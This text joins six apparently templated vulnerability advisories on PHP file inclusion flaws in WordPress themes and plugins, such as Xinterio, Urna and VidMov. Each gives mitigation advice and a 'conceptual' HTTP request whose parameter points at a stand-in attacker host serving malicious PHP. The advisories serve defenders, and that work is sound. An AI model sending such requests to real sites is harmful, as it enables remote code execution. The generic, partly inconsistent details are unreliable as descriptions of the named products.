Author: Ameeba

Overview

A severe vulnerability, CVE-2025-54690, has been discovered in themeStek Xinterio, a popular PHP-based component. This vulnerability is especially critical as it allows for PHP Local File Inclusion (LFI), thereby enabling an attacker to execute arbitrary PHP code on the server. If exploited, the vulnerability can result in system compromise or data leakage, posing serious risks to affected organizations and their data. Given the wide use of themeStek Xinterio and the severity of potential outcomes, it’s crucial for users to understand and address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-54690
Severity: Critical, CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

themeStek Xinterio | n/a through 4.2

How the Exploit Works

The vulnerability arises due to improper control of filename for include/require statement in PHP program. This allows an attacker to manipulate the ‘require’ or ‘include’ statements to include a remote file from an external server. Once the remote file is included, it is executed in the context of the application, leading to potential unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Here is a conceptual example of how a malicious actor might exploit this vulnerability:

GET /path/to/vulnerable.php?file=http://malicious.example.com/malicious_code.php HTTP/1.1
Host: vulnerable.example.com

In the above example, the attacker sends a GET request to the vulnerable PHP file on the server, modifying the ‘file’ parameter to include a malicious PHP file hosted on an external server. When the vulnerable server receives the request, the malicious code is included and executed in the server context.

Mitigation Guidance

Users are urged to apply the vendor-provided patch which addresses this vulnerability as soon as possible. In cases where immediate patching is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as a temporary mitigation strategy. These can be configured to block or alert on attempts to include files from external sources. However, these are merely stopgap measures and cannot substitute for patching the vulnerability, which remains the most effective and robust solution.

Overview

The digital world we live in provides a platform for countless advancements and opportunities. However, it also presents an array of vulnerabilities that could potentially compromise the integrity and security of systems and data. One such vulnerability is CVE-2025-54689, a PHP Remote File Inclusion (RFI) vulnerability in the Urna theme. The affected systems are those using Urna versions up to and including 2.5.7.
This vulnerability is a critical flaw due to the high severity score of 8.1. It allows hackers to manipulate PHP’s include/require statements to execute arbitrary PHP code or include files from remote servers. The potential risk includes system compromise and data leakage, which could have catastrophic consequences for businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-54689
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Urnatheme | up to and including 2.5.7

How the Exploit Works

The exploit takes advantage of the improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability. The attacker sends a specially crafted request to the server that includes a path to a malicious PHP file hosted on a remote server. The server then includes this file and executes its content, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable_site.com

In this example, the attacker is requesting the `index.php` file with a parameter that points to a malicious script hosted on `attacker.com`. The server would then attempt to include `malicious_script.txt`, executing any PHP code contained within it.

Mitigations

The most effective mitigation for this vulnerability is to apply the vendor-supplied patch. In case the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability.
In the long term, developers should use best practices such as verifying and sanitizing all inputs, and avoiding the use of dynamic file includes whenever possible. Implementing these steps in the development process can significantly reduce the risk of similar vulnerabilities in the future.

Overview

A serious vulnerability, CVE-2025-49036, has been identified within the octagonwebstudio Premium Addons for KingComposer. This vulnerability, known as PHP Remote File Inclusion (RFI), can potentially lead to a system compromise or data leak if successfully exploited. This susceptibility primarily affects users of the Premium Addons for KingComposer version up to 1.1.1. It’s vital for administrators and developers using this plugin to understand the risks associated with this vulnerability and take immediate steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-49036
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Premium Addons for KingComposer | Up to 1.1.1

How the Exploit Works

The vulnerability exists due to the improper control of filename for Include/Require Statement in PHP Program within the Premium Addons for KingComposer. This flaw allows an attacker to manipulate PHP’s include or require statements to execute remote PHP files. Attackers can exploit this to bypass expected control paths, thereby potentially leading to unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker sends a request to the server with the path of the malicious file embedded in the URL. This file is then included and executed by the server-side PHP engine:

POST /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "param": "value" }

In this example, the malicious_file.php is hosted on the attacker’s server, and when the PHP engine processes the file parameter in the URL, it includes and executes the attacker’s malicious PHP file.

Mitigation

To mitigate this vulnerability, users are advised to apply patches provided by the vendor as soon as possible. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Additionally, developers should also sanitize all inputs and avoid using user input directly in the include or require statements in PHP.

Overview

We’ll be examining a critical vulnerability that has been identified in ThemeAtelier’s IDonatePro, designated as CVE-2025-30635. This flaw is due to an improper control of filename for an include/require statement in PHP, more commonly known as a PHP Remote File Inclusion (RFI) vulnerability. It’s critical for users and administrators of IDonatePro to understand the gravity of this issue as it poses a significant risk for system compromise or data leakage, particularly for versions up to 2.1.9.

Vulnerability Summary

CVE ID: CVE-2025-30635
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ThemeAtelier IDonatePro | Up to 2.1.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when an application uses user-supplied input without properly sanitizing it, to construct a file name for operations like loading scripts. This lack of input filtering allows an attacker to craft input in a way that includes a file from a remote server that they control. The attacker’s file can contain malicious PHP code, which will be executed by the server.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. They would send a malicious HTTP request that includes a remote file containing their malicious PHP code:

GET /index.php?file=http://malicious.example.com/malicious_script.php HTTP/1.1
Host: target.example.com

In this example, the attacker is exploiting the vulnerable ‘file’ parameter in the application to include a file from their own server (‘malicious.example.com’) which contains a malicious PHP script (‘malicious_script.php’).

Mitigation

The most effective mitigation for this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. These systems should be configured to detect and block attempts to exploit this vulnerability, such as by blocking requests where the ‘file’ parameter appears to be a URL.

Overview

The discovery of the CVE-2025-28979 vulnerability is a significant development in the cybersecurity landscape, particularly for users and developers relying on ThimPress WP Pipes. This security flaw allows an attacker to exploit an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ vulnerability, also known as a PHP Remote File Inclusion vulnerability. This vulnerability has serious implications, potentially leading to system compromise or data leakage, thereby emphasizing the critical need for its immediate patching and remediation.

Vulnerability Summary

CVE ID: CVE-2025-28979
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

ThimPress WP Pipes | All versions until 1.4.3

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when an attacker manipulates a PHP ‘include’ or ‘require’ statement to include a remote file from an external server. This file can contain malicious PHP code, which is then executed by the server-side PHP interpreter. In the case of CVE-2025-28979, this vulnerability is present in the ThimPress WP Pipes plugin, which improperly controls the filename for include/require statements.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is by sending a specifically crafted HTTP POST request to the vulnerable endpoint with a malicious payload as follows:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://malicious.example.com/exploit.php" }

In this example, ‘http://malicious.example.com/exploit.php’ is a remote PHP file that contains malicious code. When this request is processed by the server, the ‘include_file’ statement will include and execute the remote malicious PHP file, leading to potential system compromise or data leakage.

Mitigation Guidance

Users of ThimPress WP Pipes are advised to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the impact of this vulnerability. These systems can be configured to detect and block attempts to exploit this vulnerability, providing a temporary solution until the patch is applied.

Overview

The cybersecurity landscape is constantly evolving, and the discovery of new vulnerabilities is a testament to this. One such vulnerability is the CVE-2025-25172, an improper control of filename for include/require statement in PHP program, otherwise known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability resides in the VidMov software developed by beeteam368, a popular video player and streaming platform. This vulnerability has the potential to compromise an entire system or lead to data leakage, making it a significant concern for users and administrators of the VidMov software.

Vulnerability Summary

CVE ID: CVE-2025-25172
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

VidMov by beeteam368 | n/a through 1.9.4

How the Exploit Works

The PHP Remote File Inclusion vulnerability arises due to improper validation and control of file names in include/require statements of PHP programs. An attacker can manipulate these statements to include files from remote servers, leading to the execution of arbitrary PHP code within the context of the application. This can result in unauthorized access, data manipulation, or even a complete system compromise if the application has high-level permissions.

Conceptual Example Code

Consider the following conceptual example that demonstrates how an attacker could exploit this vulnerability:

GET /vidmov/index.php?page=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker is using a GET request to manipulate the ‘page’ parameter in the request URL. By specifying a URL (`http://malicious.example.com/malicious.php`) of a malicious PHP file hosted on a remote server, the attacker tricks the application into including this file from the remote server, leading to the execution of the malicious PHP code.

Remediation and Mitigation

Users of VidMov are urged to apply the vendor-provided patch to fix this vulnerability. In the absence of a patch, or until a patch can be applied, users can use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to detect and prevent attempts to exploit this vulnerability. Furthermore, regular security audits and code reviews can help identify and correct improper file handling in PHP code.